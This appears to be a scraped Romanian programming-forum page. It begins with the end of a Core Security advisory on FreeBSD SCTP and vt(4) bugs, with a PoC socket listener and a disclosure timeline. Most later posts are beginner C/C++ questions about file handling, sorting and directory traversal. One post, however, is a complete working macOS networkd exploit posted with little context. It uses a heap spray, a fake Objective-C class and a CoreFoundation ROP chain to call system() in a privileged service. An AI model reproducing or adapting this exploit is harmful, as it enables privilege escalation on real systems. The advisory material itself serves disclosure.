main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); } -----/ 9. *Report Timeline* . 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015. . 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem. . 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities. . 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date. . 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015. . 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs. . 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015. . 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature. . 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory. . 2015-01-27: FreeBSD informs they will publish the fix and advisory today. . 2015-01-27: Advisory CORE-2015-0003 published. 10. *References* [1] https://www.freebsd.org/releases/10.1R/relnotes.html#new [2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4 [3] https://wiki.freebsd.org/Newcons [4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4 [5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf [6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source
  13. Salut, vreau sa citesc informatii din fisierul in.txt, sa le ordonez folosid qsort si sa le afisez in alt fisier, out,txt. Nu-mi dau seama de ce intra in bucla infinita, sau unde, ceva ajutor? #include <stdio.h> #include <stdlib.h> #include <string.h> #include <conio.h> void verific (FILE *f) { if (f==NULL) { printf("Eroare deschidere fisier\n"); exit(1); } } void afisare (char* a[], int n) { int i; for(i=0;i<n;i++) if(a[i]!=NULL) printf("%s\n",a[i]); } int fqs (const void *a, const void * { return strcmp ( *(char**)a , *(char**)b ); } int citesc (FILE *f, char* a[]) { int i=0; char buf[100]; fread(buf,sizeof(char),1,f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; } return i; /* int i=0; char buf[100]; fgets(buf,sizeof(char*),f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; fgets(buf,sizeof(char*),f); } return i; */ } int scriu (FILE *f, char* a[], int n) { fwrite(a,sizeof(char*),n,f); fputs("\n\n",f); } int main() { int n; FILE *f=fopen("in.txt","rt"); FILE *g=fopen("out.txt","wt"); verific(f); verific(g); char* a[100]; n=citesc(f,a); afisare(a,n); scriu(g,a,n); qsort(a,n,sizeof(char*),fqs); scriu(g,a,n); return 0; }
  14. // Requires Lorgnette: https://github.com/rodionovd/liblorgnette // clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation // ianbeer #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <xpc/xpc.h> #include <CoreFoundation/CoreFoundation.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <mach/task.h> #include <mach-o/dyld_images.h> #include "liblorgnette/lorgnette.h" /* find the base address of CoreFoundation for the ROP gadgets */ void* find_library_load_address(const char* library_name){ kern_return_t err; // get the list of all loaded modules from dyld // the task_info mach API will get the address of the dyld all_image_info struct for the given task // from which we can get the names and load addresses of all modules task_dyld_info_data_t task_dyld_info; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count); const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr; const struct dyld_image_info* image_infos = all_image_infos->infoArray; for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){ const char* image_name = image_infos[i].imageFilePath; mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress; if (strstr(image_name, library_name)){ return (void*)image_load_address; } } return NULL; } struct heap_spray { void* fake_objc_class_ptr; // -------+ uint8_t pad0[0x10]; // | uint64_t first_gadget; // | uint8_t pad1[0x8]; // | uint64_t null0; // | uint64_t pad3; // | uint64_t pop_rdi_rbp_ret; // | uint64_t rdi; // | uint64_t rbp; // | uint64_t system; // | struct fake_objc_class_t { // | char pad[0x10]; // <----------+ void* cache_buckets_ptr; //--------+ uint64_t cache_bucket_mask; // | } fake_objc_class; // | struct fake_cache_bucket_t { // | void* cached_sel; // <--------+ //point to the right selector void* cached_function; // will be RIP } fake_cache_bucket; char command[256]; }; xpc_connection_t connect(){ xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); return conn; } void go(){ void* heap_spray_target_addr = (void*)0x120202000; struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0); memset(hs, 'C', 0x1000); hs->null0 = 0; hs->fake_objc_class_ptr = &hs->fake_objc_class; hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket; hs->fake_objc_class.cache_bucket_mask = 0; // nasty hack to find the correct selector address uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release"); uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector uint64_t sel = msgrefs[1]; printf("%p\n", sel); hs->fake_cache_bucket.cached_sel = sel; uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); // pivot: /* push rax add eax, [rax] add [rbx+0x41], bl pop rsp pop r14 pop r15 pop rbp ret */ hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here // jump over the NULL then so there's more space: //pop, pop, pop, ret: //and keep stack correctly aligned hs->first_gadget = CoreFoundation_base + 0x46ef7; hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226; hs->system = dlsym(RTLD_DEFAULT, "system"); hs->rdi = &hs->command; strcpy(hs->command, "touch /tmp/hello_networkd"); size_t heap_spray_pages = 0x40000; size_t heap_spray_bytes = heap_spray_pages * 0x1000; char* heap_spray_copies = malloc(heap_spray_bytes); for (int i = 0; i < heap_spray_pages; i++){ memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000); } xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes); xpc_dictionary_set_uint64(msg, "type", 6); xpc_dictionary_set_uint64(msg, "connection_id", 1); xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0); xpc_object_t conn_list = xpc_array_create(NULL, 0); xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(arr_dict, "hostname", "example.com"); xpc_array_append_value(conn_list, arr_dict); xpc_dictionary_set_value(params, "connection_entry_list", conn_list); char* long_key = malloc(1024); memset(long_key, 'A', 1023); long_key[1023] = '\x00'; xpc_dictionary_set_string(params, long_key, "something or other that's not important"); uint64_t uuid[] = {0, 0x120200000}; xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid); xpc_dictionary_set_uint64(params, "start", 0); xpc_dictionary_set_uint64(params, "duration", 0); xpc_dictionary_set_value(msg, "parameters", params); xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(state, "power_slot", 0); xpc_dictionary_set_value(msg, "state", state); xpc_object_t conn = connect(); printf("connected\n"); xpc_connection_send_message(conn, msg); printf("enqueued message\n"); xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");}); xpc_release(msg); } int main(){ go(); printf("entering CFRunLoop\n"); for({ CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE); } return 0; } Source
  15. Presupunand ca orice post poate ajuta candva pe cineva , poftim un programel in c++ , un calculator mai exact , bazat pe functia switch si pentru afisarea pe ecran a operatiilor am folosit vectori. #include<iostream> #include<cstdlib> #include<conio.h> #include<vector> /* Autor : BGD 1337 Progamming Language - C++ Scope : Can be useful for a begginer. */ using namespace std; int main(){ int a,b; char choise; vector<string> operatii; vector<string>::iterator iter; cout <<"\t\tCalculator pe sectiuni de operatii\n\n"; operatii.push_back("Inmultire"); operatii.push_back("Adunare"); operatii.push_back("Scadere"); operatii.push_back("Impartire"); restart: cout<<"Alege operatia dorita\n\n"; for (iter = operatii.begin(); iter != operatii.end(); iter++) cout << *iter << endl; int alege; cout<<"\nAlege: ";cin>>alege; switch(alege){ case 1: cout<<"Ai ales operatia de inmultire , acum poti calcula\n\n"; cout<<"a=";cin>>a; cout<<"b=";cin>>b; cout<<"Rezultatul este " <<a*b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 2: cout<<"Ai ales operatia de adunare , acum poti calcula\n\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a+b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 3: cout<<"Ai ales operatia de scadere , acum poti calcula\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a-b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n\n"; choise=_getch(); if (choise == 'n') goto restart; break; case 4: cout<<"Ai ales operatia de impartire , acum poti calcula\n\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a/b<<endl; cout <<"\nDoresti sa iesi din program ?[Y/N]\n\n"; choise=_getch(); if (choise == 'n') goto restart; break; default: cout<<"Nu exista aceasta operatie"; cout <<"\nDoresti sa iesi din program ?[Y/N]\n"; choise=_getch(); if (choise == 'n') goto restart; } cin.ignore(cin.rdbuf()->in_avail() +1); getchar(); return 0; }
  16. aveti idee de ce nu functioneaza corect? citesc in fisier, si vreau sa afisez (intai) doar ca nu merge si nu inteleg de ce.. am lasat in comentarii programul pentru citire. /* Se considerã un fiºier ce conþine urmãtoarele informaþii referitoare la produsele prezentate în cadrul unui catalog: codul firmei, codul produsului, denumirea produsului ºi cantitatea produsã. Se cere: - sã se ordoneze fiºierul crescãtor dupã codul firmei, stabilindu-se apoi numãrul de produse realizate de cãtre fiecare firmã; - sã se ordoneze fiºierul crescãtor dupã codul produsului, stabilindu-se pentru fiecare produs numãrul de firme care îl realizeazã. */ //Citire in fis: #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { int cod_f; int cod_p; char nume[30]; int cantitate; } FIRMA; /* int main() { FILE *g=fopen("inf.dat","wb"); if(g == NULL) { printf("Eroare deschidere fisier"); exit(EXIT_FAILURE); } int i,n; FIRMA x; printf("Cate structuri? "); scanf("%d",&n); fflush(stdin); for(i=1;i<=n;i++) { printf("Cod firma [%d] : ",i); scanf("%d",&x.cod_f); printf("Cod produs [%d] : ",i); scanf("%d",&x.cod_p); fflush(stdin); printf("Cantitate [%d] : ",i); scanf("%d",&x.cantitate); printf("Nume [%d] : ",i); scanf("%s",x.nume); fflush(stdin); fwrite(&x,sizeof(FIRMA),1,g); } fclose(g); return 0; } */ int main() { FILE *f=fopen("inf.dat","rt"); if(f==NULL) { printf("Eroare fis"); exit(1); } FIRMA x; int i,n; fseek(f,0L,2); n=ftell(f)/sizeof(FIRMA); fseek(f,0L,0); printf("Cod firma | Cod produs | Denumire produs | Canitate produs \n"); for(i=1;i<=n;i++) { fread(&x,sizeof(FIRMA),1,f); printf("%d %d %d %s \n",x.cod_f,x.cod_p,x.cantitate,x.nume); } fclose(f); return 0; }
  17. /*Cerinta:Sa se citeasca de la tastatura numele unui fisier binar si un text. Sa se creeze fisirul dupa numele dat si poi sa se intratora textul in el*/ #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <conio.h> #include<string.h> void main() { FILE *f; char fnume[10]; char continut[100]; int poz; printf("Introduceti numele fisierului:"); gets(fnume); printf("Introduceti textul pe care il doriti introdus in fisier: "); gets(continut); errno_t err; err = fopen_s(&f, fnume, "w"); for (int i = 0; i < strlen(continut); i++) { printf("%c", continut); fwrite(&continut, sizeof(int), 1, f); } fclose(f); _getch; } /* Problema merge dar textul introdus in fisier este scris in Chineza. Am folosit " printf("%c", continut); " doar ca sa vad daca textul ii memorat corect si este. Ce am gresit de ii scris in Chineza ? */
  18. Am urmatoarea problema in c care imi spune care fisiere sunt in dir1 si NU sunt in dir2. Problema e urmatoarea:sa spunem ca dir1 are ca subdirector pe a si in a avem fisierul bbb, iar in dir2 am doar fisierul bbb. Mie o sa-mi spuna programul ca fisierul bbb se afla si in dir1 si in dir2, dar defapt nu se afla oarecum pe acelasi nivel, si in dir1 se afla in subdirectorul a. Eu vreau sa-mi spuna ca acest bbb din dir1 e diferit de cel din dir2, cum pot as putea sa modific ca sa mearga? Mersi. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <dirent.h> #include <sys/param.h> #include <limits.h> #include <string.h> char *path2; int dir2compare( char *path, char *findme ){ DIR *dir; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(strcmp(entry->d_name,findme)==0) return 1; } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dir2compare(spath,findme); } } closedir( dir); } char dirfind( char *path, int *fgasit){ DIR *dir; char *temp; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(dir2compare(path2, entry->d_name)==0) { printf("[*] %s\n", spath); (*fgasit)++; } } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dirfind(spath, fgasit); } } closedir( dir); return(0); } int main(int argc, char *argv[]){ int i = 0; if (argc == 3){ path2=strdup(argv[2]); dirfind(argv[1],&i); printf(" %d fisiere nu corespund.\n", i); } }
×
×
  • Create New...